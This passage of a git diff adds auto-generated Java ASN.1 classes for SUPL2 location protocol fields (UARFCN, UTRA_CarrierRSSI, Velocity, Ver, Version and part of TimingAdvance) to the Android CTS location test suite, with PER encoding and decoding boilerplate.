+ public void setChipRate(Asn1Object value) {
+ this.chipRate_ = (ChipRate) value;
+ }
+ public ChipRate setChipRateToNewInstance() {
+ chipRate_ = new ChipRate();
+ return chipRate_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA();
+ }
+
+ @Override public void setToNewInstance() {
+ setTAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimingAdvance.tAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA : "
+ + getTA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTAResolution() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTAResolution();
+ }
+
+ @Override public void setToNewInstance() {
+ setTAResolutionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TAResolution.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tAResolution : "
+ + getTAResolution().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getChipRate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getChipRate();
+ }
+
+ @Override public void setToNewInstance() {
+ setChipRateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ChipRate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "chipRate : "
+ + getChipRate().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_tAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tAType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tAType != null) {
+ return ImmutableList.of(TAG_tAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerUnaligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerAligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tAType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("TimingAdvance = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java
new file mode 100755
index 0000000..ab42daa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UARFCN.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UARFCN extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_UARFCN
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UARFCN() {
+ super();
+ setValueRange("0", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UARFCN;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UARFCN != null) {
+ return ImmutableList.of(TAG_UARFCN);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UARFCN from encoded stream.
+ */
+ public static UARFCN fromPerUnaligned(byte[] encodedBytes) {
+ UARFCN result = new UARFCN();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UARFCN from encoded stream.
+ */
+ public static UARFCN fromPerAligned(byte[] encodedBytes) {
+ UARFCN result = new UARFCN();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UARFCN = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
new file mode 100755
index 0000000..0119f0e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/UTRA_CarrierRSSI.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UTRA_CarrierRSSI extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_UTRA_CarrierRSSI
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRA_CarrierRSSI() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRA_CarrierRSSI;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRA_CarrierRSSI != null) {
+ return ImmutableList.of(TAG_UTRA_CarrierRSSI);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRA_CarrierRSSI from encoded stream.
+ */
+ public static UTRA_CarrierRSSI fromPerUnaligned(byte[] encodedBytes) {
+ UTRA_CarrierRSSI result = new UTRA_CarrierRSSI();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRA_CarrierRSSI from encoded stream.
+ */
+ public static UTRA_CarrierRSSI fromPerAligned(byte[] encodedBytes) {
+ UTRA_CarrierRSSI result = new UTRA_CarrierRSSI();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UTRA_CarrierRSSI = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java
new file mode 100755
index 0000000..afa3445
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Velocity.java
@@ -0,0 +1,452 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Velocity extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_Velocity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "Velocity: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public Velocity() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Velocity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Velocity != null) {
+ return ImmutableList.of(TAG_Velocity);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new Velocity from encoded stream.
+ */
+ public static Velocity fromPerUnaligned(byte[] encodedBytes) {
+ Velocity result = new Velocity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Velocity from encoded stream.
+ */
+ public static Velocity fromPerAligned(byte[] encodedBytes) {
+ Velocity result = new Velocity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Horvel(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Horvel();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horvel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Horandvervel(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Horandvervel();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandvervel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Horveluncert(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Horveluncert();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horveluncert.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Horandveruncert(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Horandveruncert();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandveruncert.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isHorvel() {
+ return !hasExtensionValue() && Select.$Horvel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHorvel}.
+ */
+ @SuppressWarnings("unchecked")
+ public Horvel getHorvel() {
+ if (!isHorvel()) {
+ throw new IllegalStateException("Velocity value not a Horvel");
+ }
+ return (Horvel) element;
+ }
+
+ public void setHorvel(Horvel selected) {
+ selection = Select.$Horvel;
+ extension = false;
+ element = selected;
+ }
+
+ public Horvel setHorvelToNewInstance() {
+ Horvel element = new Horvel();
+ setHorvel(element);
+ return element;
+ }
+
+
+
+ public boolean isHorandvervel() {
+ return !hasExtensionValue() && Select.$Horandvervel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHorandvervel}.
+ */
+ @SuppressWarnings("unchecked")
+ public Horandvervel getHorandvervel() {
+ if (!isHorandvervel()) {
+ throw new IllegalStateException("Velocity value not a Horandvervel");
+ }
+ return (Horandvervel) element;
+ }
+
+ public void setHorandvervel(Horandvervel selected) {
+ selection = Select.$Horandvervel;
+ extension = false;
+ element = selected;
+ }
+
+ public Horandvervel setHorandvervelToNewInstance() {
+ Horandvervel element = new Horandvervel();
+ setHorandvervel(element);
+ return element;
+ }
+
+
+
+ public boolean isHorveluncert() {
+ return !hasExtensionValue() && Select.$Horveluncert == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHorveluncert}.
+ */
+ @SuppressWarnings("unchecked")
+ public Horveluncert getHorveluncert() {
+ if (!isHorveluncert()) {
+ throw new IllegalStateException("Velocity value not a Horveluncert");
+ }
+ return (Horveluncert) element;
+ }
+
+ public void setHorveluncert(Horveluncert selected) {
+ selection = Select.$Horveluncert;
+ extension = false;
+ element = selected;
+ }
+
+ public Horveluncert setHorveluncertToNewInstance() {
+ Horveluncert element = new Horveluncert();
+ setHorveluncert(element);
+ return element;
+ }
+
+
+
+ public boolean isHorandveruncert() {
+ return !hasExtensionValue() && Select.$Horandveruncert == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isHorandveruncert}.
+ */
+ @SuppressWarnings("unchecked")
+ public Horandveruncert getHorandveruncert() {
+ if (!isHorandveruncert()) {
+ throw new IllegalStateException("Velocity value not a Horandveruncert");
+ }
+ return (Horandveruncert) element;
+ }
+
+ public void setHorandveruncert(Horandveruncert selected) {
+ selection = Select.$Horandveruncert;
+ extension = false;
+ element = selected;
+ }
+
+ public Horandveruncert setHorandveruncertToNewInstance() {
+ Horandveruncert element = new Horandveruncert();
+ setHorandveruncert(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "Velocity = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java
new file mode 100755
index 0000000..e77de61f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Ver.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Ver extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_Ver
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver() {
+ super();
+ setMinSize(64);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver != null) {
+ return ImmutableList.of(TAG_Ver);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver from encoded stream.
+ */
+ public static Ver fromPerUnaligned(byte[] encodedBytes) {
+ Ver result = new Ver();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver from encoded stream.
+ */
+ public static Ver fromPerAligned(byte[] encodedBytes) {
+ Ver result = new Ver();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "Ver = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java
new file mode 100755
index 0000000..c87057a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Version.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Version extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Version
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Version() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Version;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Version != null) {
+ return ImmutableList.of(TAG_Version);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Version from encoded stream.
+ */
+ public static Version fromPerUnaligned(byte[] encodedBytes) {
+ Version result = new Version();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Version from encoded stream.
+ */
+ public static Version fromPerAligned(byte[] encodedBytes) {
+ Version result = new Version();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Version.majType maj_;
+ public Version.majType getMaj() {
+ return maj_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Version.majType
+ */
+ public void setMaj(Asn1Object value) {
+ this.maj_ = (Version.majType) value;
+ }
+ public Version.majType setMajToNewInstance() {
+ maj_ = new Version.majType();
+ return maj_;
+ }
+
+ private Version.minType min_;
+ public Version.minType getMin() {
+ return min_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Version.minType
+ */
+ public void setMin(Asn1Object value) {
+ this.min_ = (Version.minType) value;
+ }
+ public Version.minType setMinToNewInstance() {
+ min_ = new Version.minType();
+ return min_;
+ }
+
+ private Version.servindType servind_;
+ public Version.servindType getServind() {
+ return servind_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Version.servindType
+ */
+ public void setServind(Asn1Object value) {
+ this.servind_ = (Version.servindType) value;
+ }
+ public Version.servindType setServindToNewInstance() {
+ servind_ = new Version.servindType();
+ return servind_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaj() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaj();
+ }
+
+ @Override public void setToNewInstance() {
+ setMajToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Version.majType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
